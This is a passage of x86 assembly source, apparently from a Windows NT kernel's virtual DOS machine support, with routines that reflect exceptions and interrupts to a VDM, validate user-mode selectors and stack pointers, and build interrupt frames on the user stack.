GetVirtualBits_Handler proc
mov esp, [esp+8] ; (esp)-> ExceptionList
xor ecx, ecx
jmp gvbexit1
GetVirtualBits_Handler endp
page ,132
subttl "Set Virtual Interrupt Flag"
;++
;
; Routine Description:
;
; This routine correctly sets the VDMs virtual interrupt flag.
;
; Arguments:
;
; eax = EFlags value
;
; Returns:
;
; Virtual interrupt flag set
;
SetVirtualBits proc
Flags equ [ebp - 4]
;
; IMPORTANT: shielint - save ALL the non-volatile registers in case of exception
;
push ebp
push edx
push ebx
push esi
push edi
push offset SetVirtualBits_Handler
push PCR[PcExceptionList]
mov PCR[PcExceptionList], esp
mov ebp,esp
sub esp,4
mov Flags,eax
lea edx,ds:FIXED_NTVDMSTATE_LINEAR
and eax,EFLAGS_INTERRUPT_MASK ; isolate int flag
MPLOCK and [edx],NOT VDM_VIRTUAL_INTERRUPTS
MPLOCK or [edx],eax ; place virtual int flag value
svb20:
; WARNING 32 bit support!
test ebx,PREFIX_OPER32
jz short svb30 ; 16 bit instr
mov eax,Flags
and eax,EFLAGS_ALIGN_CHECK
MPLOCK and dword ptr [edx],NOT EFLAGS_ALIGN_CHECK
MPLOCK or [edx],eax
svb30:
mov esp,ebp
svbexit:
pop PCR[PcExceptionList] ; Remove handler
lea esp, [esp+4]
pop edi
pop esi
pop ebx
pop edx
pop ebp
ret
SetVirtualBits endp
SetVirtualBits_Handler proc
mov esp, [esp+8] ; (esp)-> ExceptionList
jmp svbexit
SetVirtualBits_Handler endp
page ,132
subttl "Reflect Exception to a Vdm"
;++
;
; Routine Description:
;
; This routine reflects an exception to a VDM. It uses the information
; in the trap frame to determine what exception to reflect, and updates
; the trap frame with the new CS, EIP, SS, and SP values
;
; Arguments:
;
; ebp -> Trap frame
; ss:esp + 4 = trap number
;
; Returns
;
; Nothing
;
; Notes:
; Interrupts are enabled upon entry, Irql is at APC level
; This routine may not preserve all of the non-volatile registers if
; a fault occurs.
;
cPublicProc _Ki386VdmReflectException,1
RI equ [ebp - REGINFOSIZE]
;
; First make sure this is for us to handle
;
mov eax,PCR[PcPrcbData+PbCurrentThread]
mov eax,[eax]+ThApcState+AsProcess
cmp dword ptr [eax]+PrVdmObjects,0 ; is this a vdm process?
jne short @f
xor eax, eax ; not handled
stdRET _Ki386VdmReflectException
@@:
push ebp
mov ebp,esp
sub esp,REGINFOSIZE
pushad
lea esi,ds:FIXED_NTVDMSTATE_LINEAR
;
; Look to see if the debugger wants exceptions
;
stdCall _VdmFetchULONG, <esi>
test eax,VDM_BREAK_EXCEPTIONS
jz vredbg ; no, check for debug events
mov ebx,DBG_STACKFAULT
cmp word ptr [ebp + 8],0ch ; stack fault?
jz @f ; yes, check dbg flag
mov ebx,DBG_GPFAULT
cmp word ptr [ebp + 8],0dh ; gp fault?
jne vredbg ; no, continue
@@:
test eax,VDM_USE_DBG_VDMEVENT
jnz vrexc_event
jmp vrexcd ; reflect the exception to 32
;
; Look to see if the debugger wants debug events
;
vredbg:
test eax,VDM_BREAK_DEBUGGER
jz vrevdm ; no debug events, reflect to vdm
mov ebx,DBG_SINGLESTEP
cmp word ptr [ebp + 8],1
jnz @f
test eax,VDM_USE_DBG_VDMEVENT
jnz vrexc_event
jmp vrexc1
@@:
mov ebx,DBG_BREAK
cmp word ptr [ebp + 8],3
jnz vrevdm
test eax,VDM_USE_DBG_VDMEVENT
jnz vrexc_event
jmp vrexc3
;
; Reflect the exception to the VDM
;
vrevdm:
mov esi,[ebp]
cmp word ptr [esi].TsSegCs, KGDT_R3_CODE OR RPL_MASK ; int sim after fault?
je vre28
if DEVL
cmp word ptr [ebp + 8],11
jne @f
inc _ExVdmSegmentNotPresent
@@:
endif
if DBG
CurrentIrql
cmp al, APC_LEVEL
jge @f
int 3
@@:
endif
mov RI.RiTrapFrame,esi
mov eax,[esi].TsHardwareSegSs
mov RI.RiSegSs,eax
mov eax,[esi].TsHardwareEsp
mov RI.RiEsp,eax
mov eax,[esi].TsEFlags
mov RI.RiEFlags,eax
mov eax,[esi].TsEip
mov RI.RiEip,eax
mov eax,[esi].TsSegCs
mov RI.RiSegCs,eax
lea esi,RI
call CsToLinear ; uses eax as selector
test al,0FFh
jz vrerr
mov eax,[esi].RiSegSs
call SsToLinear
test al,0FFh
jz vrerr
mov ecx,[ebp + 8]
call PushException
test al,0FFh
jz vrerr
mov esi,RI.RiTrapFrame
mov eax,RI.RiEsp
mov [esi].TsHardwareEsp,eax
xor bl, bl ; R3 mask. 0 on V86 mode
test dword ptr [esi].TsEFlags, EFLAGS_V86_MASK ;
jnz @F ;
mov bl, 7 ; protected mode, R3 LDT selectors only
@@:
mov eax,RI.RiSegSs
or al, bl
mov [esi].TsHardwareSegSs,eax
mov eax,RI.RiEFlags
push [esi].TsEFlags
mov [esi].TsEFlags,eax
xor eax, [esp]
test eax, EFLAGS_V86_MASK ;
pop eax
je @f
stdCall _Ki386AdjustEsp0, <esi>
@@:
mov eax,RI.RiSegCs
or al, bl
cmp eax, 8
jae @f
test dword ptr [esi].TsEFlags, EFLAGS_V86_MASK ;
jnz @f ;
mov eax, KGDT_R3_CODE OR RPL_MASK
@@: mov [esi].TsSegCs,eax
mov eax,RI.RiEip
mov [esi].TsEip,eax
cmp word ptr [ebp + 8],1
jne vre28
and dword ptr [esi].TsEFlags, NOT EFLAGS_TF_MASK
vre28:
popad
mov eax,1 ; handled
vre30:
mov esp,ebp
pop ebp
stdRET _Ki386VdmReflectException
vrerr:
popad
xor eax,eax
jmp vre30
vrexc1:
mov eax, [ebp]
and dword ptr [eax]+TsEflags, not EFLAGS_TF_MASK
mov eax, [ebp]+TsEip ; (eax)-> faulting instruction
stdCall _VdmDispatchException <[ebp],STATUS_SINGLE_STEP,eax,0,0,0,0>
jmp vre28
vrexc3:
mov eax,BREAKPOINT_BREAK
mov ebx, [ebp]
mov ebx, [ebx]+TsEip
dec ebx ; (eax)-> int3 instruction
stdCall _VdmDispatchException <[ebp],STATUS_BREAKPOINT,ebx,3,eax,ecx,edx>
jmp vre28
vrexcd:
mov eax, [ebp]
mov eax, [eax]+TsEip
stdCall _VdmDispatchException <[ebp],STATUS_ACCESS_VIOLATION,eax,2,0,-1,0>
jmp vre28
vrexc_event:
mov eax, [ebp]
cmp ebx, DBG_SINGLESTEP
jnz vrexc_event2
and dword ptr [eax]+TsEflags, not EFLAGS_TF_MASK
vrexc_event2:
mov eax, [eax]+TsEip
stdCall _VdmDispatchException <[ebp],STATUS_VDM_EVENT,eax,1,ebx,0,0>
jmp vre28
stdENDP _Ki386VdmReflectException
page ,132
subttl "Reflect Segment Not Present Exception to a Vdm"
;++
;
; Routine Description:
;
; This routine reflects an TRAP B to a VDM. It uses the information
; in the trap frame to determine what exception to reflect, and updates
; the trap frame with the new CS, EIP, SS, and SP values
;
; Arguments:
;
; ebp -> Trap frame
;
; Returns
;
; 0 is returned if the reflection fails.
;
cPublicProc _Ki386VdmSegmentNotPresent,0
mov edi,PCR[PcTeb]
mov ecx,VDM_FAULT_HANDLER_SIZE * 0Bh
;
; Set up an exception handler in case we fault
; during the user-space accesses below.
;
push ebp
push offset FLAT:VdmSegNotPres_ExceptionHandler
; set up exception registration record
push PCR[PcExceptionList]
mov PCR[PcExceptionList], esp
mov edi,[edi].TeVdm
xor ebx, ebx
cmp edi, _MmUserProbeAddress ; probe the TeVdm
jae short reflect
lea esi,[edi].VtDpmiInfo ; (esi)->dpmi info struct
mov edi, [edi].VtFaultTable ;
lea edi,[edi+ecx] ; (edi)->FaultHandler
cmp edi, _MmUserProbeAddress ; probe the table address
jae short reflect
cmp word ptr [esi].VpLockCount, 0 ; switching stacks?
jz short seg_not_pres ; yes, we can handle it
; no, let normal code check
; for stack faults
reflect:
;
; WARNING: Here we directly unlink the exception handler from the
; exception registration chain. NO unwind is performed.
;
pop PCR[PcExceptionList]
add esp, 4 ; pop out except handler
pop ebp
;
; Reflect the failure (or exception) back to the usermode ntvdm
; to handle.
;
pop eax ; (eax) = return addr
push 0bh
push eax
jmp _Ki386VdmReflectException
reflect_1:
add esp, REGINFOSIZE + 4 ; plus the "push esi" 4 bytes
jmp short reflect
seg_not_pres:
if DEVL
inc _ExVdmSegmentNotPresent
endif
inc word ptr [esi].VpLockCount
;
; (esi)->dpmi info struct
; (edi)->FaultHandler
; (ebp)->TrapFrame
;
; save stuff just like SwitchToHandlerStack does
;
mov eax, [ebp].TsEip
mov [esi].VpSaveEip, eax
mov eax, [ebp].TsHardwareEsp
mov [esi].VpSaveEsp, eax
mov ax, [ebp].TsHardwareSegSs
mov [esi].VpSaveSsSelector, ax
movzx eax,word ptr [esi].VpSsSelector ; (eax) = PM stack selector
sub esp, REGINFOSIZE ; allocate reginfo table on stack
push esi ; save dpmi info
mov esi, esp
add esi, 4 ; (esi)->RegInfo
mov ecx, dword ptr [ebp].TsEFlags
mov [esi].RiEFlags,ecx ; initialize the reginfo table
call SsToLinear ; with eax and esi
test al,0FFh ; is al == 0?
jz short reflect_1 ; yes, failed
mov ebx, [esi].RiSsBase ; (ebx) = Base of PM Stack
pop esi ; (esi)->dpmi info
add esp, REGINFOSIZE ; remove RegInfo from stack
cmp ebx, _MmUserProbeAddress ; probe the PM stack base addr
jae short reflect ; make sure it is not Kmode addr
mov eax, [ebp].TsEFlags
call GetVirtualBits ; (eax) = app's eflags
push esi
mov edx, 0fe0h ; dpmistack offset (per win31)
test word ptr [esi].VpFlags, 1 ; 32-bit frame?
jz short @f
sub edx, 8 * 4
add edx, ebx
mov esi, [ebp].TsHardwareEsp
mov ecx, [ebp].TsHardwareSegSs
mov [edx + 20], eax ; push flags
mov [edx + 24], esi ; put esp on new stack
mov [edx + 28], ecx ; put ss on new stack
mov ecx, [ebp].TsSegCs
mov eax, [ebp].TsEip
mov esi, [ebp].TsErrCode
mov [edx + 16], ecx ; push cs
mov [edx + 12], eax ; push ip
mov [edx + 8], esi ; push error code
pop esi
mov ecx, [esi].VpDosxFaultIretD
mov eax, ecx
shr eax, 16
and ecx, 0ffffh
mov [edx + 4], eax ; push fault iret seg
mov [edx], ecx ; push fault iret offset
jmp short vsnp_update
@@:
sub edx, 8 * 2
add edx, ebx
mov esi, [ebp].TsHardwareEsp
mov ecx, [ebp].TsHardwareSegSs
mov [edx + 10], ax ; push flags
mov [edx + 12], si ; put esp on new stack
mov [edx + 14], cx ; put ss on new stack
mov ecx, [ebp].TsSegCs
mov eax, [ebp].TsEip
mov esi, [ebp].TsErrCode
mov [edx + 8], cx ; push cs
mov [edx + 6], ax ; push ip
mov [edx + 4], si ; push error code
pop esi
mov ecx, [esi].VpDosxFaultIret
mov eax, ecx
shr eax, 16
mov [edx + 2], ax ; push fault iret seg
mov [edx], cx ; push fault iret offset
vsnp_update:
mov eax,[edi].VfEip
sub edx, ebx
mov cx, word ptr [edi].VfCsSelector
mov bx, word ptr [esi].VpSsSelector
test dword ptr [edi].VfFlags, VDM_INT_INT_GATE
jz short @f
lea esi,ds:FIXED_NTVDMSTATE_LINEAR
MPLOCK and [esi],NOT VDM_VIRTUAL_INTERRUPTS
and dword ptr [ebp].TsEflags, 0FFF7FFFFH ; clear VIF
@@:
or cx, 7 ; R3 LDT selectors only
or bx, 7 ; R3 LDT selectors only
test dword ptr [ebp]+TsEFlags,EFLAGS_V86_MASK
jnz short @f
cmp cx, 8
jge short @f
mov cx, KGDT_R3_CODE OR RPL_MASK
@@: mov [ebp].TsSegCs, cx
mov [ebp].TsEip, eax
mov [ebp].TsHardwareEsp,edx
mov [ebp].TsHardwareSegSs,bx
;
; WARNING: Here we directly unlink the exception handler from the
; exception registration chain. NO unwind is performed.
;
pop PCR[PcExceptionList]
add esp, 4 ; pop out except handler
pop ebp
mov eax, 1
stdRET _Ki386VdmSegmentNotPresent
stdENDP _Ki386VdmSegmentNotPresent
;
; Error and exception blocks for Ki386VdmSegmentNoPresent
;
VdmSegNotPres_ExceptionHandler proc
;
; WARNING: Here we directly unlink the exception handler from the
; exception registration chain. NO unwind is performed.
;
mov esp, [esp+8] ; (esp)-> ExceptionList
jmp reflect
VdmSegNotPres_ExceptionHandler endp
page ,132
subttl "Dispatch UserMode Exception to a Vdm"
;++
;
; Routine Description:
;
; Dispatches exception for vdm from in the kernel, by invoking
; CommonDispatchException.
;
; Arguments: See CommonDispatchException for parameter description
;
; VOID
; VdmDispatchException(
; PKTRAP_FRAME TrapFrame,
; NTSTATUS ExcepCode,
; PVOID ExcepAddr,
; ULONG NumParms,
; ULONG Parm1,
; ULONG Parm2,
; ULONG Parm3
; )
;
; Returns
;
; Nothing
;
; Notes:
;
; This routine may not preserve all of the non-volatile registers if
; a fault occurs.
;
cPublicProc _VdmDispatchException,7
TrapFrame equ [ebp+8]
ExcepCode equ [ebp+12]
ExcepAddr equ [ebp+16]
NumParms equ [ebp+20]
Parm1 equ [ebp+24]
Parm2 equ [ebp+28]
Parm3 equ [ebp+32]
push ebp
mov ebp,esp
pushad
LowerIrql 0 ; lower irql to 0
; allow APCs and debuggers in!
mov eax, ExcepCode
mov ebx, ExcepAddr
mov ecx, NumParms
mov edx, Parm1
mov esi, Parm2
mov edi, Parm3
mov ebp, TrapFrame
call CommonDispatchException
popad
pop ebp
stdRET _VdmDispatchException
stdENDP _VdmDispatchException
page ,132
subttl "Push Interrupt frame on user stack"
;++
;
; Routine Description:
;
; This routine pushes an interrupt frame on the user stack
;
; Arguments:
;
; ecx = interrupt #
; esi = address of reg info
; Returns:
;
; interrupt frame pushed on stack
; reg info updated
;
public PushInt
PushInt proc
push ebx
push edi
;
; Handle dispatching interrupts directly to the handler, rather than
; to the dos extender
;
;
; Get the information on the interrupt handler
;
.errnz (VDM_INTERRUPT_HANDLER_SIZE - 8)
mov eax,PCR[PcTeb]
;
; Set up an exception handler in case we fault
; during the user-space accesses below.
; Note, we must preserve esi if exception does occur, all non-volatile registers are destroyed
;
push esi
push ebp
push offset FLAT:PushIntExceptionHandler ; set up exception registration record
push PCR[PcExceptionList]
mov PCR[PcExceptionList], esp
mov eax,[eax].TbVdm
cmp eax, _MmUserProbeAddress
jae pierr
mov eax, [eax].VtInterruptTable
lea eax,[eax + ecx*8]
cmp eax, _MmUserProbeAddress
jae pierr
;
; Get SP
;
mov edi,[ebp].TsHardwareEsp
test [esi].RiSsFlags,SEL_TYPE_BIG
jnz short @f
movzx edi,di ; zero high bits for 64k stack
;
; Update SP
;
@@: test [eax].ViFlags,dword ptr VDM_INT_32
jz short @f
;
; 32 bit iret frame
;
cmp edi,12 ; enough space on stack?
jb pierr ; no, go fault
sub edi,12
mov [esi].RiEsp,edi
jmp short pi130
;
; 16 bit iret frame
;
@@: cmp edi,6 ; enough space on stack?
jb pierr ; no, go fault
sub edi,6
mov [esi].RiEsp,edi
;
; Check limit
;
pi130: test [esi].RiSsFlags,SEL_TYPE_ED
jz short pi140
;
; Expand down, Sp must be above limit
;
cmp edi,[esi].RiSsLimit
jna pierr
jmp short pi150
;
; Normal, Sp must be below limit
;
pi140: cmp edi,[esi].RiSsLimit
jnb pierr
;
; Get base of ss
;
pi150: mov ebx,[esi].RiSsBase
test [eax].ViFlags,dword ptr VDM_INT_32
jz short pi160
;
; "push" 32 bit iret frame
;
mov edx,[esi].RiEip
mov [edi + ebx],edx
mov dx,word ptr [ebp].TsSegCs
mov [edi + ebx] + 4,edx
push eax
mov eax,[esi].RiEFlags
call GetVirtualBits
mov [edi + ebx] + 8,eax
pop eax
jmp short pi170
;
; push 16 bit iret frame
;
pi160: mov dx,word ptr [esi].RiEip
mov [edi + ebx],dx
mov dx,word ptr [ebp].TsSegCs
mov [edi + ebx] + 2,dx
push eax
mov eax,[esi].RiEFlags
call GetVirtualBits
mov [edi + ebx] + 4,ax
pop eax
;
; Update CS and IP
;
pi170: mov ebx,eax ; save int info
mov dx,[eax].ViCsSelector
mov word ptr [esi].RiSegCs,dx
mov edx,[eax].ViEip
mov [esi].RiEip,edx
movzx eax, word ptr [esi].RiSegCs
call CsToLinear ; uses eax as selector
test al,0ffh
jnz short pi175
;
; Check for destination not present
;
test [esi].RiCsFlags,SEL_TYPE_NP
jz pierr
mov al,0ffh ; succeeded
jmp short pi180
;
; Check handler address
;
pi175: mov edx,[esi].RiEip
cmp edx,[esi].RiCsLimit
jnb short pierr
;
; Turn off the trap flag
;
pi180: and [esi].RiEFlags,NOT EFLAGS_TF_MASK
;
; Turn off virtual interrupts if necessary
;
test [ebx].ViFlags,dword ptr VDM_INT_INT_GATE
; n.b. We know al is non-zero, because we succeeded in cstolinear
jz short pi80
pi75: lea ebx,ds:FIXED_NTVDMSTATE_LINEAR
MPLOCK and [ebx], NOT EFLAGS_INTERRUPT_MASK
pi80: and [esi].RiEFlags,NOT (EFLAGS_IOPL_MASK OR EFLAGS_NT_MASK OR EFLAGS_V86_MASK)
or [esi].RiEFlags,EFLAGS_INTERRUPT_MASK
pi90:
;
; WARNING: Here we directly unlink the exception handler from the
; exception registration chain. NO unwind is performed.
;
pop PCR[PcExceptionList]
add esp, 4 ; pop out except handler
pop ebp
pop esi
pop edi
pop ebx
ret
pierr: xor eax,eax
jmp short pi90
PushInt endp
PushIntExceptionHandler proc
mov esp, [esp+8] ; (esp)-> ExceptionList
xor eax,eax
jmp pi90
PushIntExceptionHandler endp
page ,132
subttl "Convert CS Segment or selector to linear address"
;++
;
; Routine Description:
;
; Convert CS segment or selector to linear address as appropriate
; for the current user mode processor mode.
;
; Arguments:
;
; esi = reg info
;
; Returns:
;
; reg info updated
;
public CsToLinear
CsToLinear proc
test [esi].RiEFlags,EFLAGS_V86_MASK
jz ctl10
shl eax,4
mov [esi].RiCsBase,eax
mov [esi].RiCsLimit,0FFFFh
mov [esi].RiCsFlags,0
mov eax,1
ret
ctl10:
push edx ; WARNING volatile regs!!!
lea edx,[esi].RiCsLimit
push edx
lea edx,[esi].RiCsBase
push edx
lea edx,[esi].RiCsFlags
push edx
push eax ; push selector
call _Ki386GetSelectorParameters@16
pop edx
or al,al
jz ctlerr
test [esi].RiCsFlags,SEL_TYPE_EXECUTE
jz ctlerr
test [esi].RiCsFlags,SEL_TYPE_2GIG
jz ctl30
; Correct limit value for granularity
shl [esi].RiCsLimit,12
or [esi].RiCsLimit,0FFFh
ctl30:
mov eax,1
ret
ctlerr: xor eax,eax
ret
CsToLinear endp
page ,132
subttl "Verify that EIP is still valid"
;++
;
; Routine Description:
;
; Verify that Eip is still valid and put it into the trap frame
;
; Arguments:
;
; esi = address of reg info
;
; Returns:
;
;
public CheckEip
CheckEip proc
mov eax,[esi].RiEip
test [esi].RiEFlags,EFLAGS_V86_MASK
jz ce20
and eax,[esi].RiCsLimit
mov [esi].RiEip,eax
jmp ce40
ce20: cmp eax,[esi].RiCsLimit
ja ceerr
ce40: mov eax,1
ce50: ret
ceerr: xor eax,eax
jmp ce50
CheckEip endp
page ,132
subttl "Convert Ss Segment or selector to linear address"
;++
;
; Routine Description:
;
; Convert Ss segment or selector to linear address as appropriate
; for the current user mode processor mode.
;
; Arguments:
;
; eax = selector to convert
; esi = address of reg info
;
; Returns:
;
; reg info updated
;
public SsToLinear
SsToLinear proc
test [esi].RiEFlags,EFLAGS_V86_MASK
jz stl10
shl eax,4
mov [esi].RiSsBase,eax
mov [esi].RiSsLimit,0FFFFh
mov [esi].RiSsFlags,0
mov eax,1
ret
stl10: push ecx
lea ecx,[esi].RiSsLimit
push ecx
lea ecx,[esi].RiSsBase
push ecx
lea ecx,[esi].RiSsFlags
push ecx
push eax ;selector
call _Ki386GetSelectorParameters@16
pop ecx
or al,al
jz stlerr
test [esi].RiSsFlags,SEL_TYPE_WRITE
jz stlerr
test [esi].RiSsFlags,SEL_TYPE_2GIG
jz stl30
; Correct limit value for granularity
mov eax,[esi].RiSsLimit
shl eax,12
or eax,0FFFh
mov [esi].RiSsLimit,eax
stl30:
mov eax,1
stl40: ret
stlerr: xor eax,eax
jmp stl40
SsToLinear endp
page ,132
subttl "Verify that Esp is still valid"
;++
;
; Routine Description:
;
; Verify that Esp is still valid
;
; Arguments:
;
; ecx = # of bytes needed for stack frame
; esi = address of reg info
;
; Returns:
;
;
;
public CheckEsp
CheckEsp proc
mov eax,[esi].RiEsp
test [esi].RiEFlags,EFLAGS_V86_MASK
jz cs20
and eax,[esi].RiSsLimit
mov [esi].RiEsp,eax
jmp cs40
cs20: test [esi].RiSsFlags,SEL_TYPE_BIG
jnz cs25
and eax,0FFFFh ; only use 16 bit for 16 bit
cs25:
cmp ecx, eax ; StackOffset > SP?
ja cserr ; yes error
dec eax ; make limit checks work
test [esi].RiSsFlags,SEL_TYPE_ED ; Expand down?
jz cs30 ; jif no
;
; Expand Down
;
sub eax, ecx ; New SP
cmp eax,[esi].RiSsLimit ; NewSp < Limit?
jb cserr
jmp cs40
;
; Not Expand Down
;
cs30: cmp eax,[esi].RiSsLimit
ja cserr
cs40: mov eax,1
cs50: ret
cserr: xor eax,eax
jmp cs50
CheckEsp endp
page ,132
subttl "Switch to protected mode interrupt stack"
;++
;
; Routine Description:
;
; Switch to protected mode interrupt handler stack
;
; Arguments:
;
; ecx = interrupt number
; esi = address of reg info
; edi = address of PM Stack info
;
; Returns:
;
; reg info updated
;
public SwitchToHandlerStack
SwitchToHandlerStack proc
;
; We must preserve non-volatile registers across exception
;
push ebx
push esi
push edi
;
; Install exception handler
;
push ebp
push offset SwitchToHandlerStack_fault ; Set Handler address
push PCR[PcExceptionList] ; Set next pointer
mov PCR[PcExceptionList],esp ; Link us on
cmp word ptr [edi].VpLockCount, 0 ; already switched?
jnz short @f ; yes
mov eax, [esi].RiEip
mov [edi].VpSaveEip, eax
mov eax, [esi].RiEsp
mov [edi].VpSaveEsp, eax
mov eax, [esi].RiSegSs
mov [edi].VpSaveSsSelector, ax
movzx eax,word ptr [edi].VpSsSelector
pop PCR[PcExceptionList] ; Remove our exception handle
add esp, 4 ; clear stack
pop ebp
mov [esi].RiSegSs,eax
mov dword ptr [esi].RiEsp,1000h ; dpmi stack offset
movzx eax, word ptr [esi].RiSegSs
push ecx
call SsToLinear ; compute new base
pop ecx
test al,0FFh
jz short shserr
push ebp
push offset SwitchToHandlerStack_fault ; Set Handler address
push PCR[PcExceptionList] ; Set next pointer
mov PCR[PcExceptionList],esp ; Link us on
@@:
inc word ptr [edi].VpLockCount ; maintain lock count
pop PCR[PcExceptionList] ; Remove our exception handle
add esp, 4 ; clear stack
pop ebp
mov eax,1
jmp short shsexit
shserr:
xor eax,eax
shsexit:
pop edi
pop esi
pop ebx
ret
SwitchToHandlerStack endp
SwitchToHandlerStack_fault proc
mov esp, [esp+8]
pop PCR[PcExceptionList] ; Remove our exception handle
add esp, 4 ; clear stack
pop ebp
jmp short shserr
SwitchToHandlerStack_fault endp
page ,132
subttl "Get protected mode interrupt handler address"
;++
;
; Routine Description:
;
; Get the address of the interrupt handler for the specified interrupt
;
; Arguments:
;
; ecx = interrupt number
; esi = address of reg info
;
; Returns:
;
; reg info updated
;
public GetHandlerAddress
GetHandlerAddress proc
push ebp
push ebx
push esi
push edi
push ecx
push edx
push offset GetHandlerAddress_fault ; Set Handler address
push PCR[PcExceptionList] ; Set next pointer
mov PCR[PcExceptionList],esp ; Link us on
mov eax,VDM_FAULT_HANDLER_SIZE
mul ecx
mov edi,PCR[PcTeb]
mov edi,[edi].TeVdm
cmp edi, _MmUserProbeAddress ; Probe the VMD structure
jae short GetHandlerAddress_fault_resume
mov edi,[edi].VtFaultTable
cmp edi, _MmUserProbeAddress
jae short GetHandlerAddress_fault_resume
movzx ecx,word ptr [edi + eax].VfCsSelector
mov [esi].RiSegCs,ecx
mov ecx,[edi + eax].VfEip
mov [esi].RiEip,ecx
mov eax,1
jmp short GetHandlerAddress_Exit
GetHandlerAddress_fault_resume:
xor eax, eax
GethandlerAddress_Exit:
pop PCR[PcExceptionList] ; Remove our exception handle
add esp, 4 ; clear stack
pop edx
pop ecx
pop edi
pop esi
pop ebx
pop ebp
ret
GetHandlerAddress endp
GetHandlerAddress_fault proc
mov esp, [esp+8]
jmp short GetHandlerAddress_fault_resume
GetHandlerAddress_fault endp
page ,132
subttl "Push processor exception"
;++
;
; Routine Description:
;
; Update the stack and registers to emulate the specified exception
;
; Arguments:
;
; ecx = interrupt number
; esi = address of reg info
;
; Returns:
;
; reg info updated
;
public PushException
PushException Proc
push ebx
push edi
push esi
test [esi].RiEflags,EFLAGS_V86_MASK
jz pe40
;
; Push V86 mode exception
;
cmp ecx, 7 ; device not available fault
ja peerr ; per win3.1, no exceptions
; above 7 for v86 mode
mov edx,[esi].RiEsp
mov ebx,[esi].RiSsBase
and edx,0FFFFh ; only use a 16 bit sp
sub dx,2
mov eax,[esi].RiEFlags
push ecx
call GetVirtualBits
pop ecx
;
; Install exception handler
;
push ebp
push esp ; Pass current Esp to handler
push offset perr_fault ; Set Handler address
push PCR[PcExceptionList] ; Set next pointer
mov PCR[PcExceptionList],esp ; Link us on
mov [ebx+edx],ax ; push flags
sub dx,2
mov ax,word ptr [esi].RiSegCs
mov [ebx+edx],ax ; push cs
sub dx,2
mov ax,word ptr [esi].RiEip
mov [ebx+edx],ax ; push ip
mov eax,[ecx*4] ; get new cs:ip value
pop PCR[PcExceptionList] ; Remove our exception handle
add esp, 8 ; clear stack
pop ebp
push eax
movzx eax,ax
mov [esi].RiEip,eax
pop eax
shr eax,16
mov [esi].RiSegCs,eax
mov word ptr [esi].RiEsp,dx
jmp pe60
;
; Push PM exception
;
pe40:
push [esi].RiEsp ; save for stack frame
push [esi].RiSegSs
;
; Install exception handler
;
push ebp
push esp ; Pass current Esp to handler
push offset perr1_fault ; Set Handler address
push PCR[PcExceptionList] ; Set next pointer
mov PCR[PcExceptionList],esp ; Link us on
mov edi,PCR[PcTeb]
mov edi, [edi].TeVdm
pop PCR[PcExceptionList] ; Remove our exception handle
add esp, 8 ; clear stack
pop ebp
cmp edi, _MmUserProbeAddress
jae peerr1
lea edi,[edi].VtDpmiInfo
call SwitchToHandlerStack
test al,0FFh
jz peerr1 ; pop off stack and exit
sub [esi].RiEsp, 20h ; win31 undocumented feature
mov ebx,[esi].RiSsBase
mov edx,[esi].RiEsp
test [esi].RiSsFlags,SEL_TYPE_BIG
jnz short @f
movzx edx,dx ; zero high bits for 64k stack
@@:
;
; Install exception handler
;
push ebp
push esp ; Pass current Esp to handler
push offset perr1_fault ; Set Handler address
push PCR[PcExceptionList] ; Set next pointer
mov PCR[PcExceptionList],esp ; Link us on
test word ptr [edi].VpFlags, 1 ; 32 bit app?
pop PCR[PcExceptionList] ; Remove our exception handle
lea esp, [esp+8] ; clear stack
pop ebp
jnz pe45 ; yes
;
; push 16-bit frame
;
push ecx
mov ecx, 8*2 ; room for 8 words?
call CheckEsp
pop ecx
test al,0FFh
jz peerr1 ; pop off stack and exit
sub edx,8*2
mov [esi].RiEsp,edx
;
; Install exception handler
;
push ebp
push esp ; Pass current Esp to handler
push offset perr1_fault ; Set Handler address
push PCR[PcExceptionList] ; Set next pointer
mov PCR[PcExceptionList],esp ; Link us on
mov eax, [esp+4*4]
mov [ebx+edx+14], ax
mov eax, [esp+4*5]
mov [ebx+edx+12], ax
pop PCR[PcExceptionList] ; Remove our exception handle
lea esp, [esp+8] ; clear stack
pop ebp
lea esp, [esp+8] ; clear stack
mov eax,[esi].RiEFlags
push ecx
call GetVirtualBits
pop ecx
;
; Install exception handler
;
push ebp
push esp ; Pass current Esp to handler
push offset perr_fault ; Set Handler address
push PCR[PcExceptionList] ; Set next pointer
mov PCR[PcExceptionList],esp ; Link us on
mov [ebx+edx+10],ax ; push flags
movzx eax,word ptr [esi].RiSegCs
mov [ebx+edx+8],ax ; push cs
mov eax,[esi].RiEip
mov [ebx+edx+6],ax ; push ip
mov eax,RI.RiTrapFrame
mov eax,[eax].TsErrCode
mov [ebx+edx+4],ax ; push error code
mov eax,[edi].VpDosxFaultIret
mov [ebx+edx],eax ; push iret address
pop PCR[PcExceptionList] ; Remove our exception handle
add esp, 8 ; clear stack
pop ebp
jmp pe50
pe45:
;
; push 32-bit frame
;
push ecx
mov ecx, 8*4 ; room for 8 dwords?
call CheckEsp
pop ecx
test al,0FFh
jz peerr1 ; pop off stack and exit
sub edx,8*4
mov [esi].RiEsp,edx
push ebp
push esp ; Pass current Esp to handler
push offset perr1_fault ; Set Handler address
push PCR[PcExceptionList] ; Set next pointer
mov PCR[PcExceptionList],esp ; Link us on
mov eax, [esp+4*4]
mov [ebx+edx+28], eax
mov eax, [esp+4*5]
mov [ebx+edx+24], eax
pop PCR[PcExceptionList] ; Remove our exception handle
add esp, 8 ; clear stack
pop ebp
lea esp, [esp+8] ; drop ss etc
mov eax,[esi].RiEFlags
push ecx
call GetVirtualBits
pop ecx
push ebp
push esp ; Pass current Esp to handler
push offset perr_fault ; Set Handler address
push PCR[PcExceptionList] ; Set next pointer
mov PCR[PcExceptionList],esp ; Link us on
mov [ebx+edx+20],eax ; push flags
movzx eax,word ptr [esi].RiSegCs
mov [ebx+edx+16],eax ; push cs
mov eax,[esi].RiEip
mov [ebx+edx+12],eax ; push ip
mov eax,RI.RiTrapFrame
mov eax,[eax].TsErrCode
mov [ebx+edx+8],eax ; push error code
mov eax,[edi].VpDosxFaultIretD
shr eax, 16
mov [ebx+edx+4],eax ; push iret seg
mov eax,[edi].VpDosxFaultIretD
and eax, 0ffffh
mov [ebx+edx],eax ; push iret offset
pop PCR[PcExceptionList] ; Remove our exception handle
add esp, 8 ; clear stack
pop ebp
pe50:
call GetHandlerAddress
test al,0FFh
jz peerr
pe60: push ecx
movzx eax,word ptr [esi].RiSegCs
call CsToLinear ; uses eax as selector
pop ecx
test al,0FFh
jz peerr
mov eax,[esi].RiEip
cmp eax,[esi].RiCsLimit
ja peerr
mov eax,VDM_FAULT_HANDLER_SIZE
push edx
mul ecx
